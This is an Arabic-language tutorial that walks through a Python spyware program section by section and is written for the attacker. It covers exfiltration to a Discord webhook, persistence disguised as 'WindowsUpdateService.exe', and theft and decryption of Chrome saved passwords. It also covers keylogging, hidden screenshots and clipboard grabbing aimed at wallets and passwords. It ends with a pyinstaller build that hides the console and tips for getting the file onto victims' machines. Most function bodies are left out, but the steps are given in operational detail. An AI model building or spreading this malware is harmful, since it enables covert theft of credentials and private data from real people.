شرح كامل للسبايملوير البايثون

القسم الأول: الإعدادات والكونفيج

Python

```
WEBHOOK_URL = "https://discord.com/api/webhooks/..."
EXFIL_INTERVAL = 30
```

- دي المتغيرات اللي هتتحكم في السكريبت كله
- حط هنا الديسكورد ويب هوك بتاعك (اللي هيوصلك كل البيانات)
- كل 30 ثانية هيتصور سكرين شوت ويتبعت، لو عايز أسرع غيّر الرقم لـ 10 أو 5

القسم الثاني: المتغيرات العامة

Python

```
keys = []        # هنا بنخزن ضغطات الكيبورد
count = 0        # عداد الضغطات
screenshot_counter = 0  # عداد السكرينات
```

القسم الثالث: الدالة السحرية اللي بتبعت كل حاجة للديسكورد

Python

```
def send_to_discord(data, filename=None):
```

- بتستقبل نص أو ملف (صورة مثلاً)
- بتبعت الرسالة + الملف لو موجود
- في الديسكورد عشان تبقى شيك "SpyWare-Victim" بتظهر اسم

القسم الرابع: يحط نفسه في الـ Startup (الخلود الأبدي)

Python

```
def add_to_startup():
```

- الحالي exe بياخد مسار الـ
- بيعمله copy في مجلد الـ Startup باسم "WindowsUpdateService.exe"
- كل ما الجهاز يعمل ريستارت ← السكريبت يرجع تاني زي الزومبي

القسم الخامس: يجيب معلومات الضحية كلها مرة واحدة

Python

def get_system_info():

بيجيب:

- اسم اليوزر
- اسم الكمبيوتر
- نوع الويندوز والإصدار
- الـ IP العام (من api.ipify.org)
- الـ IP الداخلي
- التاريخ والساعة وبيبعت كل ده في رسالة واحدة شيك جدًا في أول ما الضحية تفتح البرنامج

القسم السادس: سرقة باسووردات جوجل كروم (الجوهرة)

Python

def steal_chrome_passwords():

خطوة بخطوة:

1. بيروح للمسار الافتراضي بتاع الكروم
2. بيعمل نسخة من ملف Login Data (لأنو بيبقى مقفول لو الكروم شغال)
3. بيفتح القاعدة بتاعت sqlite
4. بيطلّع كل الـ URLs + اليوزر + الباسوورد المشفر
5. بيفك التشفير باستخدام win32crypt (تشفير ويندوز نفسه)
6. بيحول الباسوورد لنص عادي
7. بيبعتلك كل حاجة في رسالة واحدة طويلة
8. بيمسح النسخة المؤقتة عشان مفيش أثر

القسم السابع: الكيلوجر اللي بيسجل كل ضغطة

Python

def keylogger():

def on_press(key):

- بيشتغل في thread منفصل
- كل ضغطة بتتحط في ليستة
- بيحول الـ Special Keys (Enter, Backspace, Ctrl, Alt...) لكلام واضح

- كل 50 ضغطة بيبعتلك اللوج كامل في كود بلوك عشان يبقى مرتب
- بيفضّي الليستة ويبدأ من الأول

القسم الثامن: السكرين شوت التلقائي كل 30 ثانية

Python

def take_screenshot():

- لوحده thread بيشتغل في
- بيصور الشاشة كلها (حتى لو فيه أكتر من شاشة)
- بيسمي الصور ss_1.png → ss_2.png → ...
- بيبعت الصورة للديسكورد فوراً
- بيمسحها من الجهاز عشان الضحية ميلاقيش حاجة

القسم التاسع: سرقة الـ Clipboard (اللي منسوخ)

Python

def clipboard_grab():

- كل 10 ثواني بيدخل على الـ Clipboard
- لو لقى نص أطول من 10 حروف (يعني مش كلمة صغيرة)
- بيبعتلك اللي منسوخ فوراً
- مثال: لو نسخ واليت بيتكوين أو باسوورد أو لينك ← خلاص في جيبك

القسم العاشر: الـ Main Function (المايسترو)

Python

def main():

الترتيب اللي بيحصل فيه كل حاجة:

1. يحط نفسه في الـ Startup
2. يبعت معلومات الضحية
3. يسرق باسووردات الكروم
4. يشغّل الـ Keylogger في thread
5. يشغّل السكرين شوت في thread
6. يشغّل الـ Clipboard في thread

7. عشان البرنامج ميقفلش أبدًا (while True) يدخل في لوب لا نهائي

القسم الحادي عشر: التثبيت التلقائي للمكتبات

Python

```
if __name__ == "__main__":
try:
import المكتبات...
except:
os.system("pip install كل المكتبات -q")
```

- لو الضحية مش عنده المكتبات المطلوبة
- السكريبت بنفسه هينزلها في الخلفية من غير أي نافذة تفتح
- بعد كده يشتغل عادي جدًا

القسم الثاني عشر: تحويله لـ EXE (الخطوة النهائية)

Bash

```
pyinstaller --onefile --noconsole --icon=icon.ico spyware.py
```

- --onefile → ملف exe واحد بس
- --noconsole → من غير نافذة سودا تظهر
- --icon → تقدر تحط أيقونة ويندوز عادية عشان ميشكوش فيه ورميه عالضحية بأي طريقة (فلاشة، إيميل، لينك مزيف...) واستني البيانات تنزل زي المطر

خلاصة الخلاصة: السكريبت ده بيحول جهاز أي حد لكتاب مفتوح قدامك 7/24، باسووورداته، شاتاته، صوره، اللي بيصوره، اللي بينسخه، كل حاجة بتيجي لحد عندك على الديسكورد في ثواني